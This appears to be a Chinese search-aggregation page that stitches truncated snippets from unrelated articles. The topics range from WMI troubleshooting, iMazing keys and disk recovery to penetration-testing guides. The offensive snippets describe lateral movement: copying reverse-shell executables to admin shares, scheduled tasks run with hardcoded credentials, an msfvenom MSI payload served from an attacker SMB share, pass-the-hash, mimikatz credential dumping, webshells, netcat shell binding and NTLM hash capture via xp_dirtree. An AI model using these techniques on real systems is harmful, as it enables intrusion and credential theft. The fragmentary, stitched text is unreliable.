通过WMI访问远程计算机需要注意几点: 1。首先确保使用的用户名和密码正确,且用户有管理员权限。用户的密码不能为空。 2。检查目标机上DCOM是否可用。...如果目标加入了域,则在域服务器不可用的情况下会报“当前没有可用的登录服务器处理请求”的错误,此时局域网共享也将失效。...Performance Adapter Workstation 问题: 监视器报错:WMI服务不可用,请开启目标服务器并启动RPC和WMI服务。...2, 在本地机器:开始->运行->输入“wbemtest”,运行“Windows 管理规范测试器” 3, 点“连接”按钮:输入目标机器ip,用户名和密码,尝试连接。...在本地机器命令行上执行命令:net use \\ /user: ,将返回具体的错误号: 错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 错误号
横向移动 0x01 文件传输 IPC$ 建立IPC$连接需要具备以下两个条件:①远程主机开启了IPC连接。 ②远程主机的139端口和445端口开放。...\reverse_tcp.exe \\10.10.10.19\C$ #将当前目录文件拷贝到目标C盘 搭建SMB服务器 mkdir /root/share python smbserver.py...RU System /F /U Administrator /P Admin@123 ③等待攻击载荷执行,拿到反弹shell 0x03 利用系统服务 创建远程服务 该方式需要拥有两端主机的管理员权限和PC...②利用已建立的PC连接在远程主机上创建系统服务。...4444 -f msi -o reverse_tcp.msi ③在一台测试人员可控的服务器上搭建SMB共享服务器,并将生成的MSI文件放入共享目录 mkdir /root/share python smbserver.py
PTH(Pass the Hash 哈希传递)来进行横向渗透 2、单机密码抓取 可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出 本地用户名、散列值和其他安全验证信息都保存在...SAM文件中,SAM文件保存位置C:\Windows\System32\config,该文件不允许复制,但可以使用U盘进入PE系统进行复制 lsass.exe进程用于实现Windows的本地安全策略和登陆策略...(默认Administrator)除外 微软在Windows XP中添加了一个名为WDigest的协议,该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机。...如果服务器开启了防火墙,wmic将无法进行连接。此外,wmic命令如果没有回显,可以将命令结果输出到某文件,并使用ipc$和type来读取信息。...(Win95及之后) 客户端程序对象能够对网络中的另一台计算机上的服务器程序对象发送请求 执行流程同样: 通过ipc$连接远程计算机 执行命令 1、通过本地DCOM执行命令 获取DCOM程序列表: //
本文使用了《WMI技术介绍和应用——使用VC编写一个半同步查询WMI服务的类》中代码做为基础。本节只是列出了WQL语句,具体使用参看前面的例子。...如果当前系统不在任何域中,则这个查询将返回工作组(WorkGroup)名字。那怎么辨别呢,我们看下面一个查询。 如何使用WMI查询当前系统是否属于某个域?...如果是组装电脑,该条数据将返回主板型号。 如何使用WMI查询当前系统的是否开启了网络服务模式?...如何使用WMI获取OEM厂商的Logo? SELECT OEMLogoBitmap FROM Win32_ComputerSystem ? 这段内存信息可以见得是一个BMP文件。...该属性只有在XP以上的系统中可以使用。
因此,第一次将windows映像复制到pc,第二次将文件复制到设备,第三次创建文件夹,第四次从设备中删除文件,最后一次重新排列文件。...此外,iMazing许可证密钥是一款非常有用且方便的软件,可用于iPhone或iPad,以解决导出和复制文件的问题。iMazing串行密钥对于外部存储非常重要,包括复制到pc和将文件复制到设备。...imazing使用教程1、首次使用时,我们需要使用数据线将电脑和iPhone连接,下次再使用的时候就可以使用wifi连接了。...2、我们可以使用imaz查看我们的手机各种数据和信息。?3、可以使用imazing的备份功能,将手机的图片、文件等内容备份到电脑中。?...4、我们还可以通过imazing轻松将一台设备上的数据转移到另一台设备上。?5、使用imazing还可以恢复手机中丢失的图片、聊天记录、视频等。?
横向移动是从一个受感染的宿主移动到另一个宿主的过程。渗透测试人员和红队人员通常通过执行 powershell.exe 在远程主机上运行 base64 编码命令来完成此操作,这将返回一个信标。...那里有几种不同的横向移动技术,我将尝试从高层次的概述中介绍大的以及它们如何工作,但在介绍这些方法之前,让我们澄清一些术语。 命名管道:一种进程通过 SMB (TCP 445) 相互通信的方式。...使用 WebDAV 将 XML 文件托管在不需要身份验证的 SMB 共享上(例如,使用Impacket 的 SMBServer.py,但很可能需要攻击者将攻击机器连接到网络上) 尝试其他类似的“ExecuteShellCommand...”方法 对于 WebDAV,它仍然使用 UNC 路径,但如果 Windows 无法到达超过 445 和 139 的路径,它最终将回退到端口 80。...这个技巧的巧妙之处在于,由于 MSBuild 使用了 Webdav,MSbuild 会清理 Webdav 创建的文件。 其他执行 DCOM 方法和防御建议在本文和这里。
这里有几种不同的横向移动技术,将尝试从较高的角度介绍大型横向运动机器工作原理,但是在介绍这些技术之前,我先介绍一些技术词汇。...\System32\calc.exe” Cobalt Strike利用WMI在目标上执行Powershell的payload,因此使用内置WMI时PowerShell.exe将打开,这是OpSec问题,...使用WebDAV 将XML文件托管在不需要身份验证的SMB共享上(例如,使用Impacket的SMBServer.py,但很可能要求攻击者在网络上拥有攻击机器) 尝试其他类似的“ ExecuteShellCommand...”方法 使用WebDAV,它仍然使用UNC路径,但是如果Windows无法通过445和139到达路径,则Windows最终将退回到端口80。...Rundll32.exe再次是受信任的Windows二进制文件,用于执行DLL文件。可以通过UNC WebDAV路径甚至通过JavaScript来指定DLL。
U2U实现了用户到用户的身份验证拓展,在S4U2Proxy阶段KDC会尝试使用bob的Long-term key(bob 的hash)进行解密,但U2U会使 用附加到TGS-REQ当中的TGT会话密钥加密之后的票据...这时可以利用SamrChangePasswordUser在S4U2Self 和S4U2Proxy中间将bob的hash更改成U2U对TGT加密密钥的值,KDC就能成功解密并颁发ST票据。...如果肯定通过当前 域用户能拿下DC的话可以进行尝试,利用成功后将用户密码改为原来的值。...HTTP ( docs.microsoft.com )执行复 制、移动、删除和创建等基本文件功能 需要启用 WebClient 服务才能使基于 WebDAV 的程序和功能正常工作。...当对启用 WebDAV 的 UNC 路径触发文件操作时,身份验证主机将执行以下操作: 发出一个 OPTIONS 方法来发现 Web 服务器支持的功能, 如果支持 PROPFIND,则发出 PROPFIND
第3部分:如何修复磁盘未知,未初始化,未分配的问题: 即使将其插入另一台计算机上或从同一台PC上拔出/重新插入磁盘后,硬盘驱动器问题仍然存在。...完成上述解决方案后,尝试将设备插入PC,并检查是否可以访问驱动器上的文件。...较旧的主启动记录(MBR)用于运行Windows XP / 7/8的32位较旧PC以及可移动驱动器(例如存储卡等)。在当今时代,GPT更加强大,适用于驱动器大于2 TB的存储。...用户能够从软件的“文件类型”和“文件路径”部分查看它们。 3.恢复丢失的数据: 也可以预览恢复的文件,以检查恢复的数据是否已损坏。 查看数据后可以选择文件并通过单击“恢复”来检索它们。...我们很多时候都不知道系统硬件无法执行其功能的时间和原因,因为驱动器后面可能有多个较小的因素,这些因素无法被PC初始化。
Teamviewer 地址:http://www.teamviewer.com/en/index.aspx Teamviewer是最佳的远程桌面工具之一,使用它可以轻松连接到全球任意一台PC或服务器上...TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制,桌面共享和文件传输的简单且快速的解决方案。...为了连接到另一台计算机,只需要在两台计算机上同时运行 TeamViewer 即可,而不需要进行安装(也可以选择安装,安装后可以设置开机运行)。该软件第一次启动在两台计算机上自动生成伙伴 ID。...它结合了远程控制、全方位的远程管理、高级的文件传输功能和强健的安全性,可以提高技术支持效率并减少了呼叫次数。...UltraVNC既是一个客户端也是一个服务器,可以用TCP/IP连接来控制另一台电脑。它可以在W9x/NT/2K/XP在使用,拥有包括自动设置,友好用户界面,全局热键,内部文件传输等功能。
和/tmp/.ant_x64.so两个文件,使用蚁剑连接.antproxy.php文件,密码和前面木马文件一样,连接后即可执行命令。...后续就可以通过 proxychains4 执行命令来将程序代理进内网 也可以使用ew工具,Kali和目标机器Centos都是Linux,因此下载ew_for_linux64即可 # 同样使用...auxiliary/admin/mssql/mssql_ntlm_stealer,执行xp_dirtree,触发UNC # testuser / cvcvgjASD!...参考:https://xz.aliyun.com/t/6988#toc-4 运行前需要编译相关工具,这里我在另一台机器完成并上传 $ apt-get install gcc-mingw-w64-x86-...ADMIN$ -U administrator $ put incognito.exe 列出令牌 $ cd Windows/ $ incognito.exe list_tokens -u 模拟域管用户,将目标文件复制到本地
正是因为有了这么多的接入技术,使得移动设备在物联网中可以扮演重要的角色。 ?...当主人回到家时,也就是从户外的GSM/3G网络过渡到家里无线局域网时,Pocket PC Phone能够自动检测到这个信息,并利用UMA,将通话转到Wi-Fi或者Bluetooth上,走有线网络,以降低通话成本...当选择户外模式时,Pocket PC Phone在显示报警信息的同时会将收到的报警信息以手机短信的形式发送给用户,并接收用户的确认操作;当选择家庭模式时,Pocket PC Phone将直接拨打用户的手机号码...同时,从一定程度上来说,这也阻碍了智能家居的普及。 2.传感器选择 各种传感器使用的技术不同,体积大小不一,价格也相差很大。如果要真正设计产品,需要好好斟酌。...接入点向移动台提供非授权移动接入。 UMA网络控制器(UNC)。相对于核心网来说,UNC是做为GERAN的基站子系统。
COLOR 设置默认控制台前景和背景颜色。 COMP 比较两个或两套文件的内容。 COMPACT 显示或更改 NTFS 分区上文件的压缩。 CONVERT 将 FAT 卷转换成 NTFS。...COPY 将至少一个文件复制到另一个位置。 DATE 显示或设置日期。DEL 删除至少一个文件。 DIR 显示一个目录中的文件和子目录。 DISKCOMP 比较两个软盘的内容。...DISKCOPY 将一个软盘的内容复制到另一个软盘。 DOSKEY 编辑命令行、调用 Windows 命令并创建宏。 ECHO 显示消息,或将命令回显打开或关上。...MOVE 将文件从一个目录移到另一个目录。 PATH 显示或设置可执行文件的搜索路径。 PAUSE 暂停批文件的处理并显示消息。 POPD 还原 PUSHD 保存的当前目录的上一个值。...它完全是一个类似 Virtual PC 的 虚拟环境,和系统本身联系不大。当我们在命令提示符下运行 DOS 程序时,实际上也 是自动转移到 NTVDM虚拟机下,和 CMD 本身没什么关系。
介绍 Netcat是用于跨TCP和UDP端口读写数据的实用程序。...Netcat-OpenBSD对IPv6和代理有一些额外的支持。 端口扫描 要扫描打开的端口,请使用“-z”选项。在UDP情况下,Netcat将尝试连接到每个端口,而不发送任何数据或非常有限的数据。...您可以将文本和二进制文件从一台PC发送到另一台PC。我们将以Netcat为例,尝试将文件“file.pdf”从Linux PC发送到Windows PC[IP 192.168.1.2]。...远程管理 Netcat最好的用例之一是远程管理,这意味着您可以使用Netcat控制其他人的PC。...Netcat-Traditional附带‘-e’选项,可用于将程序(即Windows中的cmd.exe或Linux中的bash)与端口绑定,这意味着Netcat将充当程序与远程PC之间的通信器。
20210119211545491 通过扫描发现,内网中还存在10.10.10.10和10.10.10.201这两台主机,对应的主机名分别为DC和PC。...首先使用Donut对需要执行的文件进行shellcode生成,这里对mimikatz进行shellcode生成,生成bin文件mimi.bin,等下会用到: ....,拿下PC和域控就简单多了。...然后,我们新生成一个msf木马shell2.exe并稍做免杀,上传到WEB主机上,然后在WEB主机上执行如下命令,将木马复制到远程主机PC上: copy shell2.exe \\10.10.10.201...经扫描,主机PC开放3389端口: image-20210119234829717 尝试登录PC远程桌面,成功: image-20210119235343230 进攻域控 直接利用msf的exploit
然后我们可以尝试破解这个hash,或者进行hash转发攻击。 要强制SQL服务器发起一个SMB连接请求,我们可以使用xp_dirtree SQL存储过程实现。...如果我们低权限用户(比如上面的dev\dave)访问数据库并执行xp_dirtree存储过程,运行SQL服务的服务账户将会尝试列出指定SMB共享的内容。...当使用NTLM协议认证时,会基于NTLM hash创建挑战(challenge)和响应(response),产生的结果hash称为Net-NTLM。 我们可以使用hashcat进行破解。...hashcat主要是利用GPU的能力,因为在虚拟机里面,我们使用--force参数。...首先使用discover发现域内存在的SQL server实例,然后使用set命令指定我们想要执行UNC路径注入的SQL实例,最后执行xp_dirtree存储过程: discover domainspn
在一台被入侵的服务器上,我们发现了一个攻击者遗留下来的脚本。该脚本是由JavaScript编写的,主要功能是作为Windows后门及C&C后端使用。...缓存的数据和链接回的源帮助我用C&C包恢复了压缩文件。 在软件包中有四个主要脚本(3个PHP和1个JavaScript文件)被复制到Web服务器。web服务器可能受到攻击者控制或受到其它手段的危害。...恶意脚本会通过WMI来获取系统信息,然后将该信息作为其身份验证方法的一部分发回。 在这里我们可以看到,该恶意脚本被无限循环运行,等待上传,下载和执行等命令。...当受害者PC连接到C&C时,会在C&C服务器上创建三个文件: 包中的最后一个PHP脚本用于与受害PC进行交互,并将命令发送给受害PC。请注意timezone和有趣的login方法。...可用的命令非常有限,但这已经足以让攻击者将更多更强大的工具上传到受害者的PC上,并获取更进一步的网络访问权限。
从 Windows Vista和 Windows Server2008版本开始, Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统...哈希传递攻击作用 哈希传递攻击的前提是域内主机的域管理员密码都为相同的密码,所以对应的哈希值也相同,在这种情况下,如果我们拿到另一台主机的本地管理员权限,即使是不知道域管理员的密码,但是可以用哈希传递来获得同样的管理员权限...如果命令未指定,则该函数将仅检查用户名和哈希是否可以访问目标上的WMI或SCM。...由于该功能尚未线程化,因此端口检查主要通过在尝试完全同步TCPClient连接之前,检查打开的WMI或SMB端口来提升速度。...Source(源) List 和 Recurse:目录的UNC路径。 Delete:文件的UNC路径。 Get:文件的UNC路径。 Put:要上传的文件。
cacert.pem; • 签发数字证书,颁发者信息: 国家 = CN 单位 = Inc 组织机构 = www.skills.com 公用名 = Skill Global Root CA SSL使用颁发的证书...: vi /etc/pki/tls/openssl.cnf 修改42行为: 修改85行到90行,将mastch和supplied更改为optional 86行回车空一行将99行复制到空87行中:...创建证书必要的文件: mkdir /CA cd /CA mkdir private newcerts touch index.txt echo 01 > serial 生成密钥: openssl...证书与根证书绑定: openssl ca -keyfile private/cakey.pem -cert cacert.pem -in httpd.csr -out httpd.pem 如要将证书传给另一台...pc使用则: 新pc需创建: mkdir /etc/httpd/ssl 只需在主机向pc发送如pc的ip为(1.9)则: scp cacert.pem httpd.key httpd.pem root@
在一台被入侵的服务器上,我们发现了一个攻击者遗留下来的脚本。该脚本是由JavaScript编写的,主要功能是作为Windows后门及C&C后端使用。...缓存的数据和链接回的源帮助我用C&C包恢复了压缩文件。 image.png 在软件包中有四个主要脚本(3个PHP和1个JavaScript文件)被复制到Web服务器。...恶意脚本会通过WMI来获取系统信息,然后将该信息作为其身份验证方法的一部分发回。 在这里我们可以看到,该恶意脚本被无限循环运行,等待上传,下载和执行等命令。...“Authentication”函数读取来自受害者的cookie值并解析出系统信息,以及定义用于创建日志文件名的变量。受害者的用户名和计算机名称为MD5哈希,并被作为日志文件名称的一部分使用。...请注意timezone和有趣的login方法。 image.png 可用的命令非常有限,但这已经足以让攻击者将更多更强大的工具上传到受害者的PC上,并获取更进一步的网络访问权限。
领取专属 10元无门槛券
手把手带您无忧上云